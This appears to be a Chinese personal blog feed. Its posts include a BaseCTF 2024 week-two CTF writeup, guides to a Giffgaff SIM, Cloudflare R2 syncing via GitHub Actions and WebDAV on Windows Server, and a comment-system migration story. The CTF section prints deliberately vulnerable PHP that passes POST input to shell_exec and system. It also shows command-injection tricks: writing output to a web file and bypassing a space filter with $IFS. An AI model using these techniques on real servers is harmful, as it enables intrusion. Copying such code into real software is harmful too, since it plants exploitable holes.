Flag 格式: BaseCTF{MD5 值}

BaseCTF 崩啦 VI - 流量检测?

什么, 你居然在不同的 IP 提交了 Flag? 难道你会瞬移?

请给出所有提交的 IP 变更的队伍, 队伍名称按照字典顺序排序, 用西文逗号拼接, 计算其 MD5

Flag 格式: BaseCTF{计算出来的 MD5}

🔲 ⭐

BaseCTF2024 第二周个人Writeup

MISC

二维码1-街头小广告

Naril 在街头见到地上有一张印有二维码的小广告,好像还被人踩了一脚

下载下来是个图片

很明显这里把二维码的定位框给遮住了,我们手动给它弄一个上去

扫出来结果是https://www.bilibili.com@qr.xinshi.fun/BV11k4y1X7Rj/mal1ci0us?flag=BaseCTF%7BQR_Code_1s_A_f0rM_Of_m3s5ag3%7D

拿去URL解码一下就有了

哇!珍德食泥鸭(未做出)

谐音梗扣钱!

flag藏哪了?仔细找找吧 可能就在眼前哦

下载下来一张gif图片,丢进010Editor里面发现后冗余数据,并且PK两个字符,让我猜测是zip文件

先用010Editor把这部分数据导出为zip,但是发现打开来目录结构又很像是docx

再把后缀改为docx,可以正常打开

但是文档里没有任何有效的信息,再次以zip格式打开这个文件,发现在word文件的媒体目录下还有一个文件

海上又遇了鲨鱼

怎么又看到网络鲨鱼了?!!

下载下来还是Wireshark包,但是这次是ftp协议

这里用Wireshark会方便一点,我们现在上面的搜索框搜索ftp || ftp-data来过滤我们需要的ftp数据包,然后选择protocol写着FTP-DATA的包,右键它选择追踪

在弹出的窗口中,选择原始数据,然后另存为文件

出来的zip文件有密码,说明我们得回去wireshark里面找

回到wireshark,找一找有没有密码相关的内容,找到ftp用户登录的密码为Ba3eBa3e!@#,拿去解压一下zip,发现是正确的,就得到flag了

黑丝上的flag

关注VY-netcat喵, star关注VY-netcat谢谢喵

嗯,下载下来是个图片,确实是黑丝……

然而调下亮度就出来了,没啥技术含量

另:其实只要你眼里够好,盯帧也能看出来

Aura 酱的旅行日记 <图寻擂台>

Aura 酱来旅游啦, 快来看看他到了什么地方吧

答案请使用如下格式 BaseCTF{XX省XX市XX区XX路XX号}

一血获得者可以抢占擂台, 成为第二次图寻题的出题人, 我们可能会通过邮箱联系你

一血是不可能一血的,怎么抢得过那些手速快的哦~

这题目提供的图片……我怎么这么熟…… 本来以为是省博,但是不对

百度识图一下,发现就可以找到跟题目给的图很像的布局的博物馆

从地图搜索一下,就可以得知它的地址是成都市成华区成华大道十里店路88号,成都位于四川,所以最终结果为BaseCTF{四川省成都市成华区成华大道十里店路88号}

前辈什么的最喜欢了

下载下来是个base64编码后的图片文本

丢去转为图片,发现打不开,用010Editor打开查找BaseCTF可以找到flag内容

Web

一起吃豆豆

进来是个吃豆人游戏,但是看了一下js,发现有11关,那当然不可能让你把十一关都打完啦

第一种做法:修改通关条件

在js中,我找到了判断通关的条件,我把其中的小于号改为大于号,即场内有豆子即判定为通关

然后就达到了跳关的目的,拿到了Flag

第二种做法:直接找到通关信息

搜索“结束”这个关键词,可以看到结束页面的信息

把结束页面经过Base64编码的消息拿去解码就可以得到flag了

你听不到我的声音

我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?

进来是PHP源码

1
2
3
<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

因为shell_exec是没有回显的,所以我们在这里运行shell命令就跟题目描述一样不给输出,我们可以用输出到文件的方式来得到我们的输出

我们先传入cmd=find / -iname "flag" > output.txt,通过>来把输出写到output.txt里面去,我们再去访问output.txt

于是我们知道了flag在/flag文件内,再给它读出来,就成功拿到flag了

数学大师

Kengwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗?

每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

说白了就是写脚本,写个脚本算出来然后提交就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import httpx

client = httpx.Client()
url = "http://challenge.basectf.fun:30394/"

response = client.get(url)
print(response.text)
formula = response.text.split(" ")[-1].replace("?", "").replace("×", "*").replace("÷", "//")

while True:
response = client.post(
url,
data={
"answer": eval(formula)
}
)
formula = response.text.split(" ")[-1].replace("?", "").replace("×", "*").replace("÷", "//")
if "{" in response.text and "}" in response.text:
print(response.text)
break
else:
print(response.text)

RCEisamazingwithspace

RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace

说人话就是禁用了空格,从代码也能看出来

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}

// execute the command
system($cmd);

这里就要涉及到RCE的空格过滤绕过了,我们用到${IFS}来充当空格,因为这个变量在Linux系统里面默认指向空格(可参考下图GPT的解释)

所以就可以构建出下面这样的payload来搜索flag的位置

然后把它cat出来就可以了,cat这里我用的是第二种表示方法,即$IFS$9

🔲 ☆

英国Giffgaff卡激活记录

之前就想着,我的Telegram、Twitter、Facebook啥的都是绑定的我的+86手机号,想着国外的服务能不能用个外面的手机号

本来我是想白嫖个迪拜的手机号的,但是那家厂因为被嫖的太多,然后不让CN用户来嫖了,接着我就看到了Giffgaff这一家很多人推荐的英国运营商

拿卡

我拿卡找的是Telegram上的一个人,他在送卡(人是要吃AFF的,AFF的东西后面说),然后说先垫付6块运费,激活后返还,需要的话可以自行寻找这个人,我把链接放在下面

https://www.nodeseek.com/post-139473-1

人还可以代充,就是帮你充值10英镑来通过激活这一个过程,也不收手续费(我没找他,我群里有群友帮我充)

过了大概两天,我的快递就到了,到了以后就是一张卡

激活

激活这个过程,其实也没什么坑,就是看清楚选的是什么就好了

打开Giffgaff的官网,先注册个账号,中间有一个给你发促销消息邮件的一个选项记得选否,接着我们来到激活页面

在上面的框框里面输入你卡面上的激活码(就是我那个图里面Your Activation Code底下的六位激活码),点击Activate your SIM

然后会进入选择套餐的页面

先别选!!!先别选!!!先别选!!!我们拉动这个页面到最底下,有一个Pay as you go,我们选这个

这个选项就是典型的用多少算多少,对我们这种只需要保号的用户来说正好

接着点击Countinue继续我们的操作,就进入了付款充值页面,我们直接选择10英镑就可以了(如果你有需要可以选别的)

然后进入付款模式,在这里输入相应的付款信息付款就行了,如果你是带了AFF的,你会获得5英镑的额外资金

充值完了后等一会会给你自动分配一个号码(偷个别人的图,因为我不是自己充值的)

图片来源:英国手机卡giffgaff,激活过程和注意事项 - 小z博客 (xiaoz.org)

image

只要弹出手机号码就可以进行使用啦

保号

根据Giffgaff官方的说法,你需要保证每六个月有一次资金的变动,所以我们只要每六个月消费一次就行了

而官方文档里写道在中国的漫游资费如下(注: = 100p

漫游资费查询:https://www.giffgaff.com/roaming-charges

我个人是这么考虑的:

  • 移动数据,每次用量不可控,虽然是0.2£每MB,但是不好控制,不考虑
  • 打电话,1£每分钟,太贵了,不考虑
  • 发短信,0.3£每条且可控,就是你了!

综上,我们选择发短信即可,而每六个月需要发一次短信,一年使用0.6£,我们卡里有15£,理论上我们可以用这个卡用25年不换,岂不美哉

giffgaff官方会在保号周期到期前一周发送提醒邮件,还请特别留意,可以在Giff官网查一下自己的扣费记录 -> https://www.giffgaff.com/profile/usage-statement

AFF

根据Giffgaff官网的说法,每次激活一张带有你的AFF的卡,新卡和你的卡都会获得5£的奖励

如果你拉了15+个人,会晋升为super-recruiter,能够获得更多的AFF奖励(可以提现到Paypal)

但我不是干AFF的,具体这些东西我不太了解,建议到Giff官网看看,我把链接放在这里

https://www.giffgaff.com/super-recruiter

eSIM

Giffgaff已经支持eSIM了 => How to get a giffgaff eSIM | giffgaff | giffgaff

但是国内手机没有eSIM,如果有需要我的建议是买一个5ber的eSIM或者是买个9eSIM的卡,我手上没有,这部分我就不多赘述了,我在下面放一个别人的教程

Giffgaff实体卡转eSIM => https://blog.mykeyvans.com/article/giffgaff-esim-diy

🔲 ☆

使用Github Action将当前仓库同步到Cloudflare R2存储桶

因为昨晚弄的时候忘记截图了,所以与付款有关的操作我使用小号进行的

前言

在一天很平常的更新域名DNS记录的时候,我忽然看到了Cloudflare又上架了一个我没见过的功能,就是左边的这个R2

我点进去看了一下,看起来是个存储桶服务,而且这个价格还很亲民啊,总共10GB的存储,每个月一百万次的A类操作和一千万次的B类操作,这不比阿里云什么的香?

Cloudflare —— 赛博菩萨

Cloudflare R2页面——免费用量

Class A操作

Class A操作包括:

  • ListBuckets(列出存储桶)
  • PutBucket(创建存储桶)
  • ListObjects(列出对象)
  • PutObject(上传对象)
  • CopyObject(复制对象)
  • CompleteMultipartUpload(完成分段上传)
  • CreateMultipartUpload(创建分段上传)
  • LifecycleStorageTierTransition(生命周期存储层转换)
  • ListMultipartUploads(列出分段上传)
  • UploadPart(上传分段)
  • UploadPartCopy(复制上传分段)
  • ListParts(列出分段)
  • PutBucketEncryption(设置存储桶加密)
  • PutBucketCors(设置存储桶跨域资源共享)
  • PutBucketLifecycleConfiguration(设置存储桶生命周期配置)

Class B操作

Class B操作包括:

  • HeadBucket(获取存储桶元数据)
  • HeadObject(获取对象元数据)
  • GetObject(获取对象)
  • UsageSummary(使用情况摘要)
  • GetBucketEncryption(获取存储桶加密配置)
  • GetBucketLocation(获取存储桶位置)
  • GetBucketCors(获取存储桶跨域资源共享配置)
  • GetBucketLifecycleConfiguration(获取存储桶生命周期配置)

免费操作

免费操作包括:

  • DeleteObject(删除对象)
  • DeleteBucket(删除存储桶)
  • AbortMultipartUpload(终止分段上传)

使用Cloudflare R2

开通

我开通这个服务,使用的是PayPal(毕竟没有信用卡)

在上面那张图的右上角有个蓝色的PayPal按钮你发现了吗?

PayPal应该没有区域要求,我的PayPal所属区域是中国大陆,并且我绑定的是建设银行和中国银行的卡,正常通过(付款用的中国银行卡,里面只有三十块不会扣得太狠)

地址如实填写就可以了,人也不会去查你撒

新建存储桶

开通以后与大多数的OSS服务一样,首先是要新建一个存储桶

开通后,这个页面会变成下图的样子

点击那个蓝色的Bucket创建一个桶就行了,名字随意,但是不能和你自己已经有的重名,我这里就新建一个test存储桶,地区可以随意,但我更偏向于指定一下,毕竟咱们人在亚太地区

填好了点下面的新建按钮就可以了

上传文件

浏览器上传

当我们新建完存储桶后,就会带我们到存储桶的页面,在这个页面的Object选项卡下,直接将文件拖入页面就可以上传了

但是这样做有一定的局限性:

  • 文件不得大于300MB
  • 上传文件夹时,文件数目不得大于100

使用Amazon CLI上传

因为Cloudflare的R2兼容亚马逊的套件,所以我们可以使用这个方法来上传,同时也可以避免浏览器上传的一些限制

安装Amazon CLI

我们访问亚马逊自己的文档,找到CLI安装的一节

Install, update, and uninstall the AWS CLI - AWS Command Line Interface (amazon.com)

根据文档和自己的系统选择合适的安装包进行安装,安装过程省略

获取Cloudflare R2存储桶的链接凭据

我们访问Cloudflare文档给我们提供的链接,来到API创建页面

https://dash.cloudflare.com/?to=/:account/r2/api-tokens

创建一个API Token,供我们待会使用

填好了点下面的Create Token,然后Cloudflare会给我们展示我们的凭据

我们需要的是Access Key IDSecret Access Key和下面的Use jurisdiction-specific endpoints for S3 clients里面的链接,把这几个东西保存下来备用

在AWS CLI中设置相关凭据

我们运行下面的命令,设置一下我们的凭据(将里面的内容换成自己的)

1
2
$ aws configure set aws_access_key_id <Access Key ID>
$ aws configure set aws_secret_access_key <Secret Access Key>

上传文件

我们找到一个需要上传的文件,这里我需要上传的是一整个文件夹,但是我不想上传.git文件夹,于是我运行了下面的命令

1
$ aws s3 sync . s3://test --endpoint-url=https://<userid>.r2.cloudflarestorage.com --exclude ".git/*"
命令解释
  • s3 使用的是AWS CLI里面的s3组件,这个组件里面包括了对存储桶的操作函数
  • sync 同步功能,将本地文件上传到存储桶里
  • . 指当前目录
  • s3://test 固定用法,在s3://后面接上存储桶的名字(就是你创建的时候填的那个)
  • --endpoint-url=https://<userid>.r2.cloudflarestorage.com s3存储桶的API访问地址,这里是填Cloudflare给我们的那个链接
  • --exclude ".git/*" 忽略.git文件夹及其内部的所有内容

如果我们在这个文件夹进行了更新,但是不想重新上传里面已有的文件,可以加入--exact-timestamps这个参数,但是如果要覆盖的话,则需要加入--delete,例如

  • 覆盖

    1
    $ aws s3 sync . s3://test --endpoint-url=https://<userid>.r2.cloudflarestorage.com --exclude ".git/*" --delete
  • 跳过已有

    1
    $ aws s3 sync . s3://test --endpoint-url=https://<userid>.r2.cloudflarestorage.com --exclude ".git/*" --exact-timestamps

同步Github图床的文件

因为我之前的文件是丢Github并且使用jsdelivr来代理的,这时我需要把所有的文件同步上去,但是我用浏览器上传就会提示文件数目超过100个,所以我只能使用CLI上传

而我就在想,能不能每次更新图床的时候都同步到存储桶内,于是我使用了Github Action来帮我做这个事情

添加Workflow文件

我们需要在仓库中新建.github/workflows/<name>.yml文件来新建这个workflow,我的Workflow文件内容如下(仅供参考)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
name: Upload to Cloudflare R2

on:
push:
branches:
- master
workflow_dispatch:

jobs:
upload:
runs-on: ubuntu-latest

steps:
- name: Checkout repository
uses: actions/checkout@v3

- name: Install AWS CLI
run: |
curl "https://s3.amazonaws.com/aws-cli/awscli-bundle.zip" -o "awscli-bundle.zip"
unzip awscli-bundle.zip
sudo ./awscli-bundle/install -i /usr/local/aws -b /usr/local/bin/aws

- name: Configure AWS CLI for Cloudflare R2
run: |
aws configure set aws_access_key_id ${{ secrets.CLOUDFLARE_ACCESS_KEY_ID }}
aws configure set aws_secret_access_key ${{ secrets.CLOUDFLARE_SECRET_ACCESS_KEY }}
env:
CLOUDFLARE_ACCESS_KEY_ID: ${{ secrets.CLOUDFLARE_ACCESS_KEY_ID }}
CLOUDFLARE_SECRET_ACCESS_KEY: ${{ secrets.CLOUDFLARE_SECRET_ACCESS_KEY }}

- name: Upload to Cloudflare R2
run: |
aws s3 sync . s3://${{ secrets.R2_BUCKET_NAME }} --endpoint-url=${{ secrets.R2_ENDPOINT_URL }} --exclude ".git/*" --exclude "awscli-bundle.zip" --exclude "awscli-bundle/*" --exact-timestamps
env:
R2_BUCKET_NAME: ${{ secrets.R2_BUCKET_NAME }}
R2_ENDPOINT_URL: ${{ secrets.R2_ENDPOINT_URL }}

设置Action环境变量

我们打开Github仓库的设置,在左侧Secrets and variables选项卡下选择Action,然后在Repository secrets下加入四个变量(如图)

测试Workflow

我们点击上面的Action按钮,然后再点到我们的Workflow,让它跑一次来测试,同时也是我们第一次同步仓库

等到它变成绿色(图片中下面的那一堆),就说明同步完成啦

公开Bucket访问

使用内置的r2.dev域名

我们在存储桶的页面,点击上面的Settings,往下滑找到R2.dev subdomain,点击右边的Allow Access来开启它

使用自定义域名

既然Cloudflare这名赛博菩萨都是DNS服务商了,怎么可能会不让你用自己的域名呢?

我们还是找到Settings,在里面找到Custom Domains这一部分

点击Connect Domain并输入自己的域名,根据提示来就可以了

结语

怎么说呢,Cloudflare确实很大气,但是也不要乱跑流量,因为之前有人一个月消耗了1PB流量差点被封号了,合理使用才能变得更长久

🔲 ⭐

在Windows Server上启用Webdav

为什么要用Webdav

首先,你得知道我们平常用的SMB文件共享服务用的445端口,一般是不对外开放的。云服务器也是如此。而webdav可以通过http服务来访问你的文件,甚至我在家里用Cloudflare Tunnel都可以穿出去访问,非常地方便。

所以对于我家里的小霸王服务器,自我换成Windows Server后,需要在外访问的话就需要打开Webdav

安装Webdav服务

本次使用的是Windows Server 2022

首先先打开Windows Server自带的服务器管理器,选择添加角色和功能,在服务器角色选项卡添加web 服务器(IIS)

然后跳到功能选项卡,勾选Webdav重定向服务

再在下面Web 服务器角色(IIS)选项卡下的角色服务添加Windows 身份验证WebDAV 发布

然后点下一步,把这些功能装上,这个过程可能有点长,装好了记得重启一下,记得先保存一下工作(把虚拟机啥的挂起一下)

添加WebDAV服务器

重启完了以后,我们还是打开服务器管理器,在右上角的工具里面找到IIS工具

然后添加一个网站,物理路径就是你想要共享的文件夹位置,记得改下端口(当然你不介意用80的话可以不改)

设置好了点确定,然后双击我们刚刚添加的网站,找到WebDav创作规则

然后在右侧添加一个创作规则,具体配置按需配置,你也可以按照我这么选,然后点确定

设置身份验证

既然是WebDAV,那肯定得加上身份验证

我们双击左边树状图里我们的网站,然后选择身份验证

如果你需要匿名登录你就保持匿名为启用(注意做好目录限制),然后把第二个Windows 身份验证给打开

开启目录浏览

再次双击左边的树状图里的网站,找到目录浏览,点击右边的启用

搞定了以后,我们双击树状图里我们的网站,在右边重启一下我们的网站

测试网站

重启了以后,我们在浏览器里访问我们的网址(IP地址:端口),如果弹出像我这样的身份验证页面(或者直接不弹,直接看到了目录,取决于你是否开了匿名访问),登陆完进去看到目录树,就是成功了

如果出现了500错误,然后详细信息里面写由于权限不足而无法读取配置文件的话,你就需要右键你网站的目录,选择安全,把你的用户加进去

设置MINE类型

如果你不设置MINE类型的话,会导致你点一个非主流后缀名的文件,出现404(注:web.config文件本身请求就会404,不是MINE问题)

我们还是去到IIS,在自己的网站配置下找到MINE类型这个选项

在右边点添加,然后按我这么填(一劳永逸)

上面填.*,下面填application/octet-stream

然后重启一下网站就可以了

使用Cloudflare Tunnel映射

首先你电脑得装Cloudflared,关于这东西的用法在这里不多讲,这里假设你已经装好了

我们去到Zero Trust,然后去到Tunnel

找到自己的服务器,进去后在Public Hostname添加一个网站,可以按我这么填(上面域名啥的就填自己的了)

然后我们再测试从Cloudflare的Tunnel那边访问一下,确认正常

🔲 ☆

为什么我选择用回了Valine?

熟悉我的小伙伴应该知道,我的网站的评论系统经历了几次更换,最开始我用的是Gitalk,但是因为要登录Github账户,而且不是所有人都有Github账户,所以就更换了

后面用上了Valine,Valine用得很舒服,yysy,配置好Valine-Admin后基本上可以撒手不管了,但是后来Valine停止更新了,就想着去用下Waline

Waline用了没多久,发现这东西后端一直连接不上,然后就又更换了

最后换成了Twikoo,这个东西跟Waline一样是要用MongoDB的,所以直接把Waline的MongoDB给它用,没一会就搞定了

你以为到这里就这么简单了嘛?如果真的是的话我就不会发这篇文来吐槽了

Twikoo Vercel部署无法发邮件

最开始我是部署在Vercel上面的,这种方式就是很方便,因为Vercel本来就是一个很便捷的平台,没有很多繁琐的操作,再说,Twikoo支持一键部署,所以就部署在了Vercel里面

用了两周以后发现一个很大的问题:Vercel链接微软服务器会超时!我的域名邮箱是在Office365上面的,自然邮件提醒功能就要链接微软的服务,然后Vercel使用邮件提醒的时候,就会超过Vercel规定的10秒上限,导致函数运行直接超时,然后发不出邮件

幸好,Twikoo不只是能够在Vercel部署,我又把目光投向了Zeabur这个平台

Twikoo Zeabur部署 数据丢失事件

我不能说Zeabur不好用,他确实很好用,非常好用,几乎完美解决了我的容器需求,但是凡事都有个但是,Zeabur在2023年七月初上线了签到延长使用期限的功能,也就是说如果我不签到,我的应用会自动被停机

我在Zeabur部署Twikoo的时候,那还是Zeabur平台的早期,当时的设定是MongoDB会部署在Twikoo容器的内部,这就导致了但凡Twikoo进行了一次重启,所有的数据都会丢失

很不幸,我的数据正是在这种情况下丢失了,一点都没有剩下。幸好,在我之前部署Vercel的Twikoo的时候,里面的MongoDB的数据是还在的,尽管它不是最全的,但是能恢复一部分已经是很不错的事情了

或许你会问我:现在Zeabur的付费机制可以绑定支付宝,为什么不用呢?我只能说数据丢了一次以后,我在想尽各种办法来避免这种情况,所以目前Zeabur不在考虑范围内

Twikoo Render部署 程序底层导致的无法发送邮件

当我把Zeabur上的应用迁移,特别是Valora迁移的时候,我尝试找一个能够连续不断跑容器的平台,最后选择了Render这家,它可以在新加坡部署容器,且一个月有750小时的运行时间,完全够一个容器跑一个月的了,所以我也把Twikoo丢到了这个地方

当我搬上去以后,进行了一系列的配置,然后再次尝试邮件的时候,发现还是发不了,这不是配置上的问题,就是Twikoo发不出去

发现了以后,我又尝试用了Valine-Admin来发送

重新接入Valine

放弃使用Valine其实还有一个原因,就是Leancloud的国际版禁止国内IP访问了(业务域名和自带的引擎域名),我是搬到了国内版去用的,但是国内版要求备案,搞得我很烦(后来找了代备案搞定的)

这次重新接入Valine,我选用的是国际版,国际版之前的数据我都没删掉,就是换用Twikoo以后的新增数据没有了,这个没办法,最后就只要解决国内不能访问业务域名的问题就可以了

这里我用了Vercel作为反代,然后把serverURL设置为了我的反代域名,才解决了国内访问不了的问题

测试Valine邮件

我重新部署了一次Valine-Admin,来避免一些遗留下来的问题,部署完成后,在我的网站匿名发送了一条测试评论,邮件顺利送达

最后我恢复了Valine的使用,尽管它现在已经不更新了,但是它能够满足我的基本需求,所以我还是选用它

FIN

最后我改了一下我导出的MongoDB的数据,发现可以被Valine正常识别,只需要修改一下数据的类型就可以正常被导入了

导入以后发现……这个邮件它以前没发的全给我发了

对不起对不起对不起!!!我没想到它会自己发出去

加更:Twikoo合并入Valine并去重

就像我上面说的,我的Valine数据是导入进去过Twikoo的,现在Twikoo导出的数据是json(用管理面板里面的那个导出),直接导入Leancloud是没问题的,但是珲面临下面的问题:

  • 时间格式不正确:Twikoo的时间格式是时间戳,而Valine用的是Leancloud的Date类型
  • Twikoo无用数据较多,uidmastertop什么的标记需要去除
  • 去重!去重!还是去重!

经过我在火车上的一小时奋战,我终于弄出了这个脚本(Twikoo导入Leancloud后在Leancloud导出数据库)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import json
from datetime import datetime


def timestamp_to_iso8601(timestamp):
# Convert timestamp to a datetime object
try:
dt_object = datetime.fromtimestamp(int(timestamp) / 1000)
except TypeError:
return timestamp

# Format the datetime object to ISO 8601 format
iso8601_format = dt_object.strftime('%Y-%m-%dT%H:%M:%S.%fZ')

return iso8601_format


with open('comment.0.jsonl', 'rt', encoding='utf8') as f:
lines = f.readlines()


def write_data(data):
with open('Comment.json', 'wt+', encoding='utf8') as f:
f.write(data)


exist_data = []
finaldata = []
# write_data('#filetype:JSON-streaming {"type":"Class","class":"Comment"}\n')
for line in lines:
if line.startswith('#'):
continue
data = json.loads(line)
if {"nick": data.get('nick'), "link": data.get('link'), 'comment': data.get('comment')} in exist_data: continue
if data.get('created'):
data['insertedAt'] = {"__type":"Date","iso":timestamp_to_iso8601(data.get('created'))} # Valine的时间索引
data['createdAt'] = timestamp_to_iso8601(data.get('created')) # Leancloud自带
data['updatedAt'] = timestamp_to_iso8601(data.get('created')) # Leancloud自带
if data.get('top'):
del data['top']
if data.get('master'):
del data['master']
if data.get('uid'):
del data['uid']
if data.get('created'):
del data['created']
if data.get('mailMd5'):
del data['mailMd5']
finaldata.append(data)
exist_data.append({
"nick": data.get('nick'), "link": data.get('link'), 'comment': data.get('comment')
})

write_data(json.dumps(finaldata, indent=4))
print(len(finaldata))

print('done')

运行完后在Leancloud导入Comment.json文件后,就完成了!

🔲 ⭐

我被微软算账了π_π

先上张图……

没错,这一轮是强制过期,我的邮件上次还跟我说续费到**7/12/2023 (UTC)**,就……很难受

发现这个问题还是群里面有人说了我才知道的,赶紧用其他的outlook账号开个新的订阅然后把数据转移过去

数据转移我用的是mover.io,微软官方其实也有转移的东西但是我没去研究,mover之前跟微软合作所以就一直在用了,结果跑了一个晚上没跑完

有人说是使用了qyi.io的e5续订服务的原因,这个也不清楚,我现在在telegram上看到的都说是随机的,不过我确实两个订阅都寄了,这个确实没办法

❌